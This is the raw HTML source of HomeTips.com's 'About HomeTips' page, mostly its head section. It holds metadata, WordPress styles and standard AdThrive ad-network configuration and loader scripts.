PageSourceSearch

https://www.hometips.com/about-us

html hometips.com collected 2026-09-24 19:01:52 UTC 216,618 bytes, 934 lines download raw bytes

1<!doctype html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0" /><link rel="canonical" href="https://www.hometips.com/about-us" /><meta name="ahrefs-site-verification" content="a08cf83fbcd36c7c40efaab8e07aaed1258b93a9b3a49553c69db2481c7180e0"> 
1<script data-no-optimize="1" data-cfasync="false">!function(){"use strict";const t={adt_ei:{identityApiKey:"plainText",source:"url",type:"plaintext",priority:1},adt_eih:{identityApiKey:"sha256",source:"urlh",type:"hashed",priority:2},sh_kit:{identityApiKey:"sha256",source:"urlhck",type:"hashed",priority:3}},e=Object.keys(t);function i(t){return function(t){const e=t.match(/((?=([a-z0-9._!#$%+^&*()[\]<>-]+))\2@[a-z0-9._-]+\.[a-z0-9._-]+)/gi);return e?e[0]:""}(function(t){return t.replace(/\s/g,"")}(t.toLowerCase()))}!async function(){const n=new URL(window.location.href),o=n.searchParams;let a=null;const r=Object.entries(t).sort(([,t],[,e])=>t.priority-e.priority).map(([t])=>t);for(const e of r){const n=o.get(e),r=t[e];if(!n||!r)continue;const c=decodeURIComponent(n),d="plaintext"===r.type&&i(c),s="hashed"===r.type&&c;if(d||s){a={value:c,config:r};break}}if(a){const{value:t,config:e}=a;window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(function(){window.adthrive.identityApi({source:e.source,[e.identityApiKey]:t},({success:i,data:n})=>{i?window.adthrive.log("info","Plugin","detectEmails",`Identity API called with ${e.type} email: ${t}`,n):window.adthrive.log("warning","Plugin","detectEmails",`Failed to call Identity API with ${e.type} email: ${t}`,n)})})}!function(t,e){const i=new URL(e);t.forEach(t=>i.searchParams.delete(t)),history.replaceState(null,"",i.toString())}(e,n)}()}();</script>
1<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><style data-no-optimize="1" data-cfasync="false">.adthrive-ad {
2		margin-top: 10px;
3		margin-bottom: 10px;
4		text-align: center;
5		overflow-x: visible;
6		clear: both;
7		line-height: 0;
8	}
9	/* Mobile Sticky Video Player Defaults */
10.adthrive-collapse-mobile-background {
11max-height:153px;
12}
13.adthrive-player-position.adthrive-collapse-mobile.adthrive-collapse-top-center.adthrive-player-without-wrapper-text {
14padding-top:0px !important;
15}
16/* END Mobile Sticky Video Player Defaults */
17
18/* White Background For Mobile Sticky Video Player */
19.adthrive-collapse-mobile-background {
20background-color: #fff!important;
21}
22.adthrive-top-collapse-close > svg > * {
23stroke: black;
24font-family: sans-serif;
25}
26.adthrive-top-collapse-wrapper-video-title,
27.adthrive-top-collapse-wrapper-bar a a.adthrive-learn-more-link {
28color: #000!important;
29}
30/* END White Background For Mobile Sticky Video Player */
31
32/* Add 'Advertisement' before ads */
33.adthrive-content:before {
34    content: 'ADVERTISEMENT';
35    height: 20px;
36    font-size: 9px;
37    line-height: 20px;
38    letter-spacing: 1px;
39    margin-top: 0;
40    margin-bottom: 10px;
41    color: #bcbfc5;
42}
43
44.adthrive-parallax-slot {
45padding-bottom: 10px; /* parallax ads need a bit more spacing */
46}
47/* END Add 'Advertisement' before ads */
48
49/* Content ad styling */
50.adthrive-content {
51border-top: 1px solid #dbdbdb;
52border-bottom: 1px solid #dbdbdb;
53}
54/* END Content ad styling */
55
56/* Fix Content ad spacing */
57.adthrive-content, .adthrive-content > div {
58margin-bottom: 1.2rem;    
59}
60/* END Fix Content ad spacing */
61
62/* Fix sticky content ads */
63body.adthrive-device-phone .adthrive-sticky-container {
64    position: relative;
65    display: flex;
66    flex-direction: column;
67    justify-content: flex-start;
68    align-items: center;
69    min-height: 400px !important;
70    margin: 10px 0 10px 0;
71    background-color: #FAFAFA;
72    padding-bottom: 0px;
73    align-content: unset !important;
74}
75
76body.adthrive-device-phone .page-content{
77    overflow: unset !important;
78}
79/* End Fix Sticky Content Ads */
80
81/* Fix sticky sticky outstream player close button position */
82body.adthrive-device-desktop .adthrive-stickyoutstream-ad-container, body.adthrive-device-tablet .adthrive-stickyoutstream-ad-container {
83bottom: 150px;
84}
85
86body.adthrive-device-desktop  .adthrive-video-stickyoutstream, body.adthrive-device-tablet  .adthrive-video-stickyoutstream {
87min-height: unset !important;
88height: 150px !important;
89}
90
91body.adthrive-device-desktop .adthrive-sticky-outstream {
92min-height: unset !important
93}
94
95body.adthrive-device-phone  .adthrive-video-stickyoutstream {
96min-height: unset !important;
97height: 100px !important;
98}
99
100body.adthrive-device-phone .adthrive-sticky-outstream {
101min-height: unset !important
102}
103/* END Fix sticky sticky outstream player close button position */</style> 
103<script data-no-optimize="1" data-cfasync="false">window.adthriveCLS = {
104		enabledLocations: ['Content', 'Recipe'],
105		injectedSlots: [],
106		injectedFromPlugin: true,
107		branch: 'cbeddd4',bucket: 'prod',			};
108	window.adthriveCLS.siteAds = {"betaTester":false,"targeting":[{"value":"65e5ddc88443b16faecfe2f5","key":"siteId"},{"value":"68ffa20675da93116b940728","key":"organizationId"},{"value":"HomeTips","key":"siteName"},{"value":"AdThrive Edge","key":"service"},{"value":"on","key":"bidding"},{"value":["Home Decor and Design"],"key":"verticals"}],"siteUrl":"https://www.hometips.com/","siteId":"65e5ddc88443b16faecfe2f5","siteName":"HomeTips","breakpoints":{"tablet":768,"desktop":1024},"cloudflare":null,"adUnits":[{"sequence":9,"thirdPartyAdUnitName":null,"targeting":[{"value":["Sidebar"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop"],"name":"Sidebar_9","sticky":true,"location":"Sidebar","dynamic":{"pageSelector":"","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":"#sidebar_content","skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[160,600],[336,280],[320,50],[300,600],[250,250],[1,1],[320,100],[300,1050],[300,50],[300,420],[300,250]],"priority":291,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single","spacing":0,"max":6,"lazyMax":93,"enable":true,"lazy":true,"elementSelector":".page-content > *:not(h2):not(h3):not(.user_post_url):not(#ssw_scroll_btn_container):not(style):not(.crp-related):not(.crp-related ~*):not(.author_bio_section_wrapper):not(.author_bio_section_wrapper ~*)","skip":5,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single","spacing":0,"max":6,"lazyMax":93,"enable":true,"lazy":true,"elementSelector":".page-content > *:not(h2):not(h3):not(.user_post_url):not(#ssw_scroll_btn_container):not(style):not(.crp-related):not(.crp-related ~*):not(.author_bio_section_wrapper):not(.author_bio_section_wrapper ~*)","skip":5,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Below Post"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Below_Post","sticky":false,"location":"Below Post","dynamic":{"pageSelector":"body.single","spacing":0,"max":0,"lazyMax":1,"enable":true,"lazy":true,"elementSelector":".page-content","skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[250,250],[1,1],[320,100],[300,250],[970,250],[728,250]],"priority":99,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Footer"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop","phone","tablet"],"name":"Footer","sticky":true,"location":"Footer","dynamic":{"pageSelector":"","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":"body","
108skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[320,50],[320,100],[728,90],[970,90],[468,60],[1,1],[300,50]],"priority":-1,"autosize":true}],"adDensityLayout":{"mobile":{"adDensity":0.18,"onePerViewport":false},"pageOverrides":[{"mobile":{"adDensity":0.18,"onePerViewport":false},"note":"\"Low\" https://raptive.zendesk.com/agent/tickets/451519","pageSelector":"body.ht-buying-guides, body.ht-how-it-works","desktop":{"adDensity":0.16,"onePerViewport":false}},{"mobile":{"adDensity":0.24,"onePerViewport":false},"note":"\"Optimized\" https://raptive.zendesk.com/agent/tickets/451519","pageSelector":"body.ht-diy-how-to","desktop":{"adDensity":0.2,"onePerViewport":false}},{"mobile":{"adDensity":0.25,"onePerViewport":false},"note":"\"High\" https://raptive.zendesk.com/agent/tickets/451519","pageSelector":"body.ht-repair-fix","desktop":{"adDensity":0.25,"onePerViewport":false}}],"desktop":{"adDensity":0.15,"onePerViewport":false}},"adDensityEnabled":true,"siteExperiments":[],"adTypes":{"sponsorTileDesktop":true,"interscrollerDesktop":true,"nativeBelowPostDesktop":true,"miniscroller":true,"largeFormatsMobile":true,"nativeMobileContent":true,"inRecipeRecommendationMobile":true,"nativeMobileRecipe":true,"sponsorTileMobile":true,"expandableCatalogAdsMobile":false,"frameAdsMobile":true,"outstreamMobile":true,"nativeHeaderMobile":true,"frameAdsDesktop":true,"inRecipeRecommendationDesktop":true,"expandableFooterDesktop":true,"nativeDesktopContent":true,"outstreamDesktop":true,"animatedFooter":true,"skylineHeader":false,"expandableFooter":true,"nativeDesktopSidebar":true,"videoFootersMobile":true,"videoFootersDesktop":true,"interscroller":true,"nativeDesktopRecipe":true,"nativeHeaderDesktop":true,"nativeBelowPostMobile":true,"expandableCatalogAdsDesktop":false,"largeFormatsDesktop":true},"adOptions":{"theTradeDesk":true,"thirdPartyCmp":{"enabled":false,"vendor":null,"injectPrivacyPreferencesLink":false},"usCmpClickWrap":{"enabled":false,"regions":[]},"undertone":true,"sidebarConfig":{"dynamicStickySidebar":{"minHeight":2800,"enabled":false,"blockedSelectors":[]}},"footerCloseButton":true,"teads":true,"seedtag":true,"pmp":true,"sharethrough":true,"desktopInterstitialFrequency":"full","optimizeVideoPlayersForEarnings":true,"removeVideoTitleWrapper":true,"pubMatic":true,"mobileInterstitialFrequency":"full","contentTermsFooterEnabled":true,"chicory":false,"infiniteScroll":false,"longerVideoAdPod":true,"yahoossp":true,"spa":false,"stickyContainerConfig":{"recipeDesktop":{"minHeight":null,"enabled":false},"blockedSelectors":["body:not(.adthrive-device-phone)"],"stickyHeaderSelectors":[],"content":{"minHeight":400,"enabled":true},"recipeMobile":{"minHeight":null,"enabled":false}},"gatedPrint":{"printClasses":[],"siteEmailServiceProviderId":null,"newsletterPromptEnabled":false,"conservativeGatingLogicEnabled":false,"defaultOptIn":false,"closeButtonEnabled":false,"enabled":false},"equativ":true,"yieldmo":true,"californiaPrivacyPopup":{"privacyPolicyUrl":null,"enabled":false,"termsOfServiceUrl":null},"footerSelector":"","consentMode":{"enabled":false,"customVendorList":""},"amazonUAM":true,"gamMCMEnabled":true,"gamMCMChildNetworkCode":"1006580","rubicon":true,"restartStickyVideoPlayersAfterClose":true,"conversant":true,"openx":true,"customCreativeEnabled":true,"secColor":"#000000","unruly":true,"bRealTime":true,"adInViewTime":null,"regulatory":{"privacyPolicyUrl":"","termsOfServiceUrl":""}
108,"gumgum":true,"comscoreFooter":true,"desktopInterstitial":false,"contentAdXExpansionDesktop":true,"amx":true,"footerCloseButtonDesktop":false,"ozone":true,"isAutoOptimized":true,"trustx":true,"comscoreTAL":true,"bgColor":"#FFFFFF","advancePlaylistOptions":{"playlistPlayer":{"enabled":true},"relatedPlayer":{"enabled":true,"applyToFirst":true}},"kargo":true,"liveRampATS":true,"footerCloseButtonMobile":false,"interstitialBlockedPageSelectors":"","prioritizeShorterVideoAds":true,"allowSmallerAdSizes":true,"blis":true,"wakeLock":{"desktopEnabled":true,"mobileValue":45,"mobileEnabled":true,"desktopValue":90},"mobileInterstitial":false,"tripleLift":true,"sensitiveCategories":["alc","ast","cbd","pol","rel","ssr","srh","ske","wtl"],"liveRamp":true,"adthriveEmailIdentity":true,"criteo":true,"nativo":true,"infiniteScrollOptions":{"selector":"","heightThreshold":0},"siteAttributes":{"mobileHeaderSelectors":[],"desktopHeaderSelectors":[]},"dynamicContentSlotLazyLoading":true,"clsOptimizedAds":true,"ogury":true,"verticals":["Home Decor and Design"],"inImage":false,"stackadapt":true,"usCMP":{"hideConsentParagraph":false,"alwaysShowDoNotSellLink":false,"regions":[],"defaultOptIn":false,"enabled":false,"strictMode":false},"contentAdXExpansionMobile":true,"advancePlaylist":true,"medianet":true,"acAlwaysSticky":false,"delayLoading":true,"inImageZone":null,"appNexus":true,"rise":true,"liveRampId":"","infiniteScrollRefresh":false,"indexExchange":true},"siteAdsProfiles":[],"thirdPartySiteConfig":{"partners":{"discounts":[]}},"organizationData":{"organizationId":"68ffa20675da93116b940728","multiSiteOrg":false},"videoPlayers":{"contextual":{"autoplayCollapsibleEnabled":false,"overrideEmbedLocation":false,"defaultPlayerType":"static"},"videoEmbed":"wordpress","footerSelector":"","contentSpecificPlaylists":[],"players":[{"playlistId":"KShNc0TM","thirdPartyVideoAdUnitName":"","pageSelector":"body.single","devices":["desktop"],"description":"","skip":3,"title":"","type":"stickyPlaylist","enabled":true,"formattedType":"Sticky Playlist","elementSelector":".page-content > *:not(h2):not(h3):not(.user_post_url):not(#ssw_scroll_btn_container):not(style):not(.author_bio_section_wrapper):not(.author_bio_section_wrapper ~*)","id":4086055,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"adPlayerTitle":"MY LATEST VIDEOS","mobileHeaderSelector":null,"playerId":"E6jDCGIx"},{"playlistId":"KShNc0TM","pageSelector":"","devices":["mobile","desktop"],"description":"","skip":0,"title":"Stationary related player - desktop and mobile","type":"stationaryRelated","enabled":true,"formattedType":"Stationary Related","elementSelector":"","id":4086054,"position":"","saveVideoCloseState":false,"shuffle":false,"adPlayerTitle":"Stationary related player - desktop and mobile","playerId":"E6jDCGIx"},{"playlistId":"KShNc0TM","thirdPartyVideoAdUnitName":"","pageSelector":"body.single","devices":["mobile"],"mobileLocation":"top-center","description":"","skip":3,"title":"","type":"stickyPlaylist","enabled":true,"formattedType":"Sticky Playlist","elementSelector":".page-content > *:not(h2):not(h3):not(.user_post_url):not(#ssw_scroll_btn_container):not(style):not(.author_bio_section_wrapper):not(.author_bio_section_wrapper ~*)","id":4086056,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"adPlayerTitle":"MY LATEST VIDEOS","mobileHeaderSelector":null,"playerId":"E6jDCGIx"}],"partners":{"theTradeDesk":true,"unruly":true,"undertone":true,"gumgum":true,"seedtag":true,"amx":true,"ozone":true,"trustx":true,"pmp":true,"kargo":true,"stickyOutstream":{"desktop":{"enabled":true},"blockedPageSelectors":"","mobileLocation":"bottom-left","thirdPartyGamAdUnitName":null,"allowOnHomepage":true,"mobile":{"enabled":true},"saveVideoCloseState":false,"mobileHeaderSelector":"","allowForPageWithStickyPlayer":{"enabled":true}},"sharethrough":true,"blis":true,"tripleLift":true,"pubMatic":true,"criteo":true,"yahoossp":true,"nativo":true,"stackadapt":true,"equativ":true,"yieldmo":true,"amazonUAM":true,"medianet":true,"rubicon":true,"appNexus":true,"conversant":true,"rise":true,"openx":true,"indexExchange":true}}};</script>
108 
108<script data-no-optimize="1" data-cfasync="false">(function(w, d) {
109	w.adthrive = w.adthrive || {};
110	w.adthrive.cmd = w.adthrive.cmd || [];
111	w.adthrive.plugin = 'adthrive-ads-3.13.0';
112	w.adthrive.host = 'ads.adthrive.com';
113	w.adthrive.integration = 'plugin';
114
115	var commitParam = (w.adthriveCLS && w.adthriveCLS.bucket !== 'prod' && w.adthriveCLS.branch) ? '&commit=' + w.adthriveCLS.branch : '';
116
117	var s = d.createElement('script');
118	s.async = true;
119	s.referrerpolicy='no-referrer-when-downgrade';
120	s.src = 'https://' + w.adthrive.host + '/sites/65e5ddc88443b16faecfe2f5/ads.min.js?referrer=' + w.encodeURIComponent(w.location.href) + commitParam + '&cb=' + (Math.floor(Math.random() * 100) + 1) + '';
121	var n = d.getElementsByTagName('script')[0];
122	n.parentNode.insertBefore(s, n);
123})(window, document);</script>
123 <link rel="dns-prefetch" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/" crossorigin><meta property="og:title" content="About HomeTips"/><meta property="og:description" content="About HomeTips 
124 Don and his sons Christian and Gabe, building houses with Habitat for Humanity in the Mississippi Delta
125 "/><meta property="og:image:alt" content="Habitat for Humanity builders"/><meta property="og:image" content="https://www.hometips.com/wp-content/uploads/2012/09/Building-Habitat-Houses.jpg"/><meta property="og:image:width" content="1024" /><meta property="og:image:height" content="636" /><meta property="og:type" content="article"/><meta property="og:article:published_time" content="2012-09-12 10:21:25"/><meta property="og:article:modified_time" content="2024-07-16 22:21:52"/><meta name="twitter:card" content="summary"><meta name="twitter:title" content="About HomeTips"/><meta name="twitter:description" content="About HomeTips 
126 Don and his sons Christian and Gabe, building houses with Habitat for Humanity in the Mississippi Delta
127 "/><meta name="twitter:image" content="https://www.hometips.com/wp-content/uploads/2012/09/Building-Habitat-Houses.jpg"/><meta name="twitter:image:alt" content="Habitat for Humanity builders"/><meta name="author" content="admin"/><link media="all" href="https://www.hometips.com/wp-content/cache/autoptimize/autoptimize_ddeeaffe16318207869014ce2a98a614.php" rel="stylesheet"><title>About HomeTips</title><meta name="description" content="HomeTips has been helping people love their homes for more than 25 years. Meet the HomeTips team and learn about their expert background." /><link rel="canonical" href="https://www.hometips.com/about-us" /><meta property="og:url" content="https://www.hometips.com/about-us" /><meta property="og:site_name" content="HomeTips" /><meta property="article:publisher" content="https://www.facebook.com/hometipscom/" /><meta property="article:modified_time" content="2024-07-16T22:21:52+00:00" /><meta property="og:image" content="https://www.hometips.com/wp-content/uploads/2012/09/Building-Habitat-Houses.jpg" /><meta property="og:image:width" content="1024" /><meta property="og:image:height" content="636" /><meta property="og:image:type" content="image/jpeg" /><meta name="twitter:site" content="@hometipscom" /><meta name="twitter:label1" content="Est. reading time" /><meta name="twitter:data1" content="4 minutes" /> 
127<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.hometips.com\/about-us","url":"https:\/\/www.hometips.com\/about-us","name":"About HomeTips","isPartOf":{"@id":"https:\/\/www.hometips.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.hometips.com\/about-us#primaryimage"},"image":{"@id":"https:\/\/www.hometips.com\/about-us#primaryimage"},"thumbnailUrl":"https:\/\/www.hometips.com\/wp-content\/uploads\/2012\/09\/Building-Habitat-Houses.jpg","datePublished":"2012-09-12T10:21:25+00:00","dateModified":"2024-07-16T22:21:52+00:00","description":"HomeTips has been helping people love their homes for more than 25 years. Meet the HomeTips team and learn about their expert background.","breadcrumb":{"@id":"https:\/\/www.hometips.com\/about-us#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.hometips.com\/about-us"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.hometips.com\/about-us#primaryimage","url":"https:\/\/www.hometips.com\/wp-content\/uploads\/2012\/09\/Building-Habitat-Houses.jpg","contentUrl":"https:\/\/www.hometips.com\/wp-content\/uploads\/2012\/09\/Building-Habitat-Houses.jpg","width":1024,"height":636,"caption":"The HomeTips crew building Habitat for Humanity houses in the Mississippi Delta."},{"@type":"BreadcrumbList","@id":"https:\/\/www.hometips.com\/about-us#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.hometips.com\/"},{"@type":"ListItem","position":2,"name":"About HomeTips"}]},{"@type":"WebSite","@id":"https:\/\/www.hometips.com\/#website","url":"https:\/\/www.hometips.com\/","name":"HomeTips","description":"The Web’s Most Helpful Home Improvement Site","publisher":{"@id":"https:\/\/www.hometips.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.hometips.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.hometips.com\/#organization","name":"HomeTips.com","url":"https:\/\/www.hometips.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.hometips.com\/#\/schema\/logo\/image\/","url":"","contentUrl":"","caption":"HomeTips.com"},"image":{"@id":"https:\/\/www.hometips.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/hometipscom\/","https:\/\/x.com\/hometipscom"]}]}</script>
127 <link rel="alternate" type="application/rss+xml" title="HomeTips &raquo; Feed" href="https://www.hometips.com/feed" /><link rel="alternate" type="application/rss+xml" title="HomeTips &raquo; Comments Feed" href="https://www.hometips.com/comments/feed" /><link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://www.hometips.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.hometips.com%2Fabout-us" /><link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://www.hometips.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.hometips.com%2Fabout-us&#038;format=xml" /><style id="wp-img-auto-sizes-contain-inline-css">img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
128/*# sourceURL=wp-img-auto-sizes-contain-inline-css */</style><style id="global-styles-inline-css">:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
128--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:root { --wp--style--global--content-size: 800px;--wp--style--global--wide-size: 1200px; }:where(body) { margin: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: 24px; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 24px; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 24px;}:root :where(.is-layout-grid){gap: 24px;}.is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) 